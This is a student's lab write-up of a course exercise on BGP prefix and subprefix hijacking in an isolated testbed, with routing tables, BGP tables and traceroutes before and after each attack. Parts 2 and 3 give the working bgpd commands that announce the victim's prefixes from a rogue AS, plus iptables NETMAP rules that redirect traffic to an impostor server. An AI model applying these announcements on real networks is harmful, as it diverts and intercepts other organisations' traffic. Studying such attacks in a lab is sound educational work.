Lorenzo Cavada Mat. 220502

Seventh exercise of OffTech about BGP Prefix Hijacking. More information about the exercise can be found at this link. The code used in this exercise can be found here.

PART 1

1.1 On `ASN2` and `ASN3` perform the following command

```
sudo ip route del 10.1.1.0/24
```

This will simple remove a specific route injected by the kernel.

1.2 From the client get the `traceroute` to `10.1.1.2` (the server)

```
  traceroute to 10.1.1.2 (10.1.1.2), 30 hops max, 60 byte packets
  1  10.5.0.1  0.408 ms  0.377 ms  0.353 ms
  2  10.3.0.2  0.780 ms  0.770 ms  0.758 ms # first hop
  3  10.2.0.1  1.175 ms  1.166 ms  1.154 ms # second hop
  4  10.1.1.2  1.131 ms  1.117 ms  1.093 ms # third hop
```

To reach the destination a packet needs to go throw 3 hops.

1.3 Perform a `netstat` of the client, how can he reach the server?

To reach the server a packet sent by the client follows this path:

```
1. CLIENT reach 10.0.0.0/8 throw 10.5.0.1 (ASN3)
2. ASN3 reach 10.1.1.0/24 throw 10.3.0.2 (ASN2)
3. ASN2 reach 10.1.1.0/24 throw 10.2.0.1 (ASN1)
4. ASN1 reach 10.1.1.0/24 throw 0.0.0.0
```

Here is possible to see the full dump of the netstat of each machine

```
CLIENT
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         192.168.1.254   0.0.0.0         UG        0 0          0 eth4
10.0.0.0        10.5.0.1        255.0.0.0       UG        0 0          0 eth5 # THIS
10.5.0.0        0.0.0.0         255.255.255.0   U         0 0          0 eth5
192.168.0.0     0.0.0.0         255.255.252.0   U         0 0          0 eth4
192.168.1.254   0.0.0.0         255.255.255.255 UH        0 0          0 eth4


ASN3
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         192.168.1.254   0.0.0.0         UG        0 0          0 eth4
10.1.0.0        10.3.0.2        255.255.0.0     UG        0 0          0 eth5
10.1.1.0        10.3.0.2        255.255.255.0   UG        0 0          0 eth5 #THIS
10.2.0.0        10.3.0.2        255.255.255.0   UG        0 0          0 eth5
10.3.0.0        0.0.0.0         255.255.255.0   U         0 0          0 eth5
10.4.0.0        0.0.0.0         255.255.255.0   U         0 0          0 eth3
```

```
10.5.0.0        0.0.0.0         255.255.255.0   U         0 0          0 eth2
10.6.0.0        10.4.0.2        255.255.255.0   UG        0 0          0 eth3
10.6.1.0        10.4.0.2        255.255.255.0   UG        0 0          0 eth3
192.168.0.0     0.0.0.0         255.255.252.0   U         0 0          0 eth4
192.168.1.254   0.0.0.0         255.255.255.255 UH        0 0          0 eth4

ASN2
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         192.168.1.254   0.0.0.0         UG        0 0          0 eth4
10.1.0.0        10.2.0.1        255.255.0.0     UG        0 0          0 eth1
10.1.1.0        10.2.0.1        255.255.255.0   UG        0 0          0 eth1 #THIS
10.2.0.0        0.0.0.0         255.255.255.0   U         0 0          0 eth1
10.3.0.0        0.0.0.0         255.255.255.0   U         0 0          0 eth2
10.4.0.0        10.3.0.1        255.255.255.0   UG        0 0          0 eth2
10.5.0.0        10.3.0.1        255.255.0.0     UG        0 0          0 eth2
10.6.0.0        10.3.0.1        255.255.255.0   UG        0 0          0 eth2
10.6.1.0        10.3.0.1        255.255.255.0   UG        0 0          0 eth2
192.168.0.0     0.0.0.0         255.255.252.0   U         0 0          0 eth4
192.168.1.254   0.0.0.0         255.255.255.255 UH        0 0          0 eth4

ASN1
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         192.168.1.254   0.0.0.0         UG        0 0          0 eth3
10.1.1.0        0.0.0.0         255.255.255.0   U         0 0          0 eth4 #THIS
10.2.0.0        0.0.0.0         255.255.255.0   U         0 0          0 eth1
10.3.0.0        10.2.0.2        255.255.255.0   UG        0 0          0 eth1
10.4.0.0        10.2.0.2        255.255.255.0   UG        0 0          0 eth1
10.5.0.0        10.2.0.2        255.255.0.0     UG        0 0          0 eth1
10.6.0.0        10.2.0.2        255.255.255.0   UG        0 0          0 eth1
10.6.1.0        10.2.0.2        255.255.255.0   UG        0 0          0 eth1
192.168.0.0     0.0.0.0         255.255.252.0   U         0 0          0 eth3
192.168.1.254   0.0.0.0         255.255.255.255 UH        0 0          0 eth3
```

1.4 What other information can we gather?

```
sudo vtysh -c "show ip route"
```

Other than the path we can also see how each network is connected to an AS. Moreover is also shown the interface used and the IP of that interface. Is also possible to notice how exists a more specific route for `10.1.1.0/24`. For routing a request the router will use the most specific route possible meaning that for a request directed, for example, to `10.1.1.5`, the router will use the path for `10.1.1.0/24` even if that IP also belong to `10.1/16`. The last information we can gather is about how the route have been added to the table, if it is a static route, a direct connection with the network and so on.

```
1. Client reach 10.0.0.0/8 via 10.5.0.1 (ASN3), The network 10.5.0.0/24 is directly
connected
2. ASN3 reach 10.1.1.0/24 via 10.3.0.2 (ASN2), The network 10.3.0.0/24 is directly
connected
3. ASN2 reach 10.1.1.0/24 via 10.2.0.1 (ASN1), The network 10.2.0.0/24 is directly
connected
```

```
4. ASN1 have the network 10.1.1.0/24 directly connected

CLIENT
K>* 0.0.0.0/0 via 192.168.1.254, eth4, src 192.168.1.141
S>* 10.0.0.0/8 [1/0] via 10.5.0.1, eth5 # THIS S stay for Static
C>* 10.5.0.0/24 is directly connected, eth5
C>* 127.0.0.0/8 is directly connected, lo
C>* 192.168.0.0/22 is directly connected, eth4
K>* 192.168.1.254/32 is directly connected, eth4

ASN3
K>* 0.0.0.0/0 via 192.168.1.254, eth4, src 192.168.1.155
B>* 10.1.0.0/16 [20/0] via 10.3.0.2, eth5, 00:29:17
B>* 10.1.1.0/24 [20/0] via 10.3.0.2, eth5, 00:29:17 # THIS B stay for BGP
B>* 10.2.0.0/24 [20/0] via 10.3.0.2, eth5, 00:29:20
B   10.3.0.0/24 [20/0] via 10.3.0.2 inactive, 00:29:20
C>* 10.3.0.0/24 is directly connected, eth5
B   10.4.0.0/24 [20/0] via 10.4.0.2 inactive, 00:29:13
C>* 10.4.0.0/24 is directly connected, eth3
C>* 10.5.0.0/24 is directly connected, eth2
B>* 10.6.0.0/24 [20/0] via 10.4.0.2, eth3, 00:29:13
B>* 10.6.1.0/24 [20/0] via 10.4.0.2, eth3, 00:29:13
C>* 127.0.0.0/8 is directly connected, lo
B   192.168.0.0/22 [20/0] via 10.3.0.2, eth5, 00:29:13
C>* 192.168.0.0/22 is directly connected, eth4
K>* 192.168.1.254/32 is directly connected, eth4

ASN2
K>* 0.0.0.0/0 via 192.168.1.254, eth4, src 192.168.1.148
B>* 10.1.0.0/16 [20/0] via 10.2.0.1, eth1, 00:29:15
B>* 10.1.1.0/24 [20/0] via 10.2.0.1, eth1, 00:29:15 # THIS
C>* 10.2.0.0/24 is directly connected, eth1
C>* 10.3.0.0/24 is directly connected, eth2
B>* 10.4.0.0/24 [20/0] via 10.3.0.1, eth2, 00:29:07
B>* 10.5.0.0/16 [20/0] via 10.3.0.1, eth2, 00:29:16
B>* 10.6.0.0/24 [20/0] via 10.3.0.1, eth2, 00:29:07
B>* 10.6.1.0/24 [20/0] via 10.3.0.1, eth2, 00:29:07
C>* 127.0.0.0/8 is directly connected, lo
C>* 192.168.0.0/22 is directly connected, eth4
K>* 192.168.1.254/32 is directly connected, eth4

ASN1
K>* 0.0.0.0/0 via 192.168.1.254, eth3, src 192.168.1.83
C>* 10.1.1.0/24 is directly connected, eth4 # THIS
C>* 10.2.0.0/24 is directly connected, eth1
B>* 10.3.0.0/24 [20/0] via 10.2.0.2, eth1, 00:29:22
B>* 10.4.0.0/24 [20/0] via 10.2.0.2, eth1, 00:29:13
B>* 10.5.0.0/16 [20/0] via 10.2.0.2, eth1, 00:29:22
B>* 10.6.0.0/24 [20/0] via 10.2.0.2, eth1, 00:29:13
B>* 10.6.1.0/24 [20/0] via 10.2.0.2, eth1, 00:29:13
C>* 127.0.0.0/8 is directly connected, lo
```

```
C>* 192.168.0.0/22 is directly connected, eth3
K>* 192.168.1.254/32 is directly connected, eth3
```

1.5 Connect to the server throw FTP and download the `README` file

```
ftp 10.1.1.2
```

The `README` file contains:

```
AS1 owns the prefix for 10.1/16
```

1.6 Check the BGP route used from `ASN3` to reach `10.1/16`

```
sudo vtysh -c "show ip bgp"
```

The path used to reach `10.1/16` is

```
65002 65001 i
```

So the packet firstly reach `ASN2`, then `ASN1` and then an internal protocol is used to reach `10.1/16`.

1.7a Check the BGP route used by `ASN2` to reach `10.1.1.2`

```
sudo vtysh -c "show ip bgp"
```

The path used to reach `10.1.1.0/24` and so `10.1.1.2` is

```
65001 ? where the ? stay for incomplete, meaning that is unsure how the prefix was
injected into the topology. For what concern the path used, ASN2 will send the
packages to ASN1 which will then take care of it until the destination.
```

1.7b. Check the BGP route used by `ASN2` to reach `10.1.2.2`

```
sudo vtysh -c "show ip bgp"
```

The path used to reach `10.1/16` and so `10.1.2.2` is

```
65001 i where the i stay for internal meaning that from there an internal routing
protocol will be used.
```

PART 2: Prefix Hijacking

2.1 Perform the Hijacking

Login from `ASN4` and type:

```
telnet localhost bgpd

enable   #type "test" when prompted for password
config terminal
```

```
router bgp 65004
network 10.1.0.0/16
end
exit

sudo iptables -t nat -F
sudo iptables -t nat -A PREROUTING -d 10.1.1.2 -m ttl --ttl-gt 1 -j NETMAP --to
10.6.1.2
sudo iptables -t nat -A POSTROUTING -s 10.6.1.2 -j NETMAP --to 10.1.1.2
```

2.2 Check again the `tracerout` from the client to the server

```
traceroute -n 10.1.1.2

traceroute to 10.1.1.2 (10.1.1.2), 30 hops max, 60 byte packets
1  10.5.0.1  0.386 ms  0.371 ms  0.355 ms
2  10.3.0.2  0.781 ms  0.774 ms  0.757 ms # first hop
3  10.2.0.1  1.224 ms  1.220 ms  1.211 ms # third hop
4  10.1.1.2  1.419 ms  1.407 ms  1.394 ms # destination
```

There is no change between this and the first test performed in Part 1.

2.3 Connect again to the server throw FTP

```
ftp 10.1.1.2
```

The README file contains:

```
AS1 owns the prefix for 10.1/16
```

There is no change between this and the first test performed in Part 1.

2.4 Show BGP table of `ASN3`

```
sudo vtysh -c "show ip bgp"

Network          Next Hop            Metric LocPrf Weight Path
*> 10.1.0.0/16      10.4.0.2                 0             0 65004 i #THIS
*                   10.3.0.2                               0 65002 65001 i
*> 10.1.1.0/24      10.3.0.2                               0 65002 65001 ?
*> 10.2.0.0/24      10.3.0.2                 0             0 65002 ?
*> 10.3.0.0/24      10.3.0.2                 0             0 65002 ?
*> 10.4.0.0/24      10.4.0.2                 0             0 65004 ?
*> 10.5.0.0/16      0.0.0.0                  0         32768 i
*> 10.6.0.0/24      10.4.0.2                 0             0 65004 i
*> 10.6.1.0/24      10.4.0.2                 0             0 65004 ?
*  192.168.0.0/22   10.3.0.2                 0             0 65002 ?
*>                  10.4.0.2                 0             0 65004 ?
```

Differently from Part 1 now `ASN3` will send the traffic directed to `10.1/16` to `ASN4` instead then to `ASN2` meaning that the attack was successful and the BGP prefix hijacking executed. Anyways, to reach the server, `ASN3` will use he same AS path as

before due to the fact that there is an entry with a more specific subprefix for the network where the server belong to (`10.1.1.0/24`) as steted in Point 1.4.

2.5 What AS path will be used by `ASN2` to reach `10.1.1.2`?

The AS path used by `ASN2` to reach `10.1.1.0/24` and so `10.1.1.2` is:

```
`65001 ?` where the ? stay for incomplete, meaning that is unsure how the prefix was injected into the topology. For what concern the path, `ASN2` will send the packages to `ASN1`.
```

2.6a What AS path will be used by `ASN2` to reach `10.1.2.2`?

The AS path used to reach `10.1.1.0/24` and so `10.1.1.2` is:

```
`65003 65004 i`. This mean that now `ASN2` will send packets directed to `10.1/16` (excluding `10.1.1.0/24`) to the `ASN3` and then to `ASN4` instead then to `ASN1` as in the Part 1.
```

PART 3: Subprefix Hijacking

3.1 Perform the Subprefix Hijacking in `ASN4`

```
telnet localhost bgpd

enable   #type "test" when prompted for password
config terminal
router bgp 65004
no network 10.1.0.0/16
network 10.1.1.0/24
end
exit
```

3.2 Perform again the traceroute from the client to 10.1.1.2

```
traceroute -n 10.1.1.2

1  10.5.0.1  0.407 ms  0.399 ms  0.387 ms
2  10.4.0.2  0.583 ms  0.804 ms  0.800 ms # first hop
3  10.1.1.2  1.517 ms  1.507 ms  1.493 ms # destination
```

This time the client was able to reach the server just after 2 hops which differ from Part 1 and Part 2.

3.3 Get the `README` file from the server using `FTP`

Content of `README`:

```
I just hijacked your BGP Prefix!
```

3.4 Show BGP table of `ASN3`

```
Network          Next Hop            Metric LocPrf Weight Path
*> 10.1.0.0/16      10.3.0.2                               0 65002 65001 i # THIS
*> 10.1.1.0/24      10.4.0.2                 0             0 65004 i # THIS
*                   10.3.0.2                               0 65002 65001 ?
*> 10.2.0.0/24      10.3.0.2                 0             0 65002 ?
*> 10.3.0.0/24      10.3.0.2                 0             0 65002 ?
*> 10.4.0.0/24      10.4.0.2                 0             0 65004 ?
*> 10.5.0.0/16      0.0.0.0                  0         32768 i
*> 10.6.0.0/24      10.4.0.2                 0             0 65004 i
*> 10.6.1.0/24      10.4.0.2                 0             0 65004 ?
*  192.168.0.0/22   10.3.0.2                 0             0 65002 ?
*>                  10.4.0.2                 0             0 65004 ?
```

The path used to reach `10.1.1.0/24` is now `65004 i` which differ from the one shown in Part 2, this is due to the Subprefix Hijacking just performed. The traffic will now be send to `ASN4` instead than to `ASN2`

The path used to reach `10.1/16` is now again `65002 65001 i` as in Point 1, this because we removed the routing for `10.1/16` from `ASN4` acutally restoring the situation pre-Prefix Hijacking.

3.5 Show BGP table of ASN2

```
Network          Next Hop            Metric LocPrf Weight Path
*> 10.1.0.0/16      10.2.0.1                 0             0 65001 i # THIS
*  10.1.1.0/24      10.3.0.1                               0 65003 65004 i # THIS
*>                  10.2.0.1                 0             0 65001 ?
*  10.2.0.0/24      10.2.0.1                 0             0 65001 ?
*>                  0.0.0.0                  0         32768 ?
*> 10.3.0.0/24      0.0.0.0                  0         32768 ?
*> 10.4.0.0/24      10.3.0.1                               0 65003 65004 ?
*> 10.5.0.0/16      10.3.0.1                 0             0 65003 i
*> 10.6.0.0/24      10.3.0.1                               0 65003 65004 i
*> 10.6.1.0/24      10.3.0.1                               0 65003 65004 ?
*  192.168.0.0/22   10.3.0.1                               0 65003 65004 ?
*                   10.2.0.1                 0             0 65001 ?
*>                  0.0.0.0                  0         32768 ?
```

The path used to reach `10.1.1.2` will be `65001 ?` meaning that he will send the traffic first to `ASN1`. Is possible to notice how `ASN2` has two possible paths for `10.1.1.0/24` but he will choose the shortest one, so the legitimate one.

The path used to reach 10.1.1.2 will be `65001 i` meaning that he will send the traffic first to `ASN1` as it was in Part 1, before the prefix hijacking.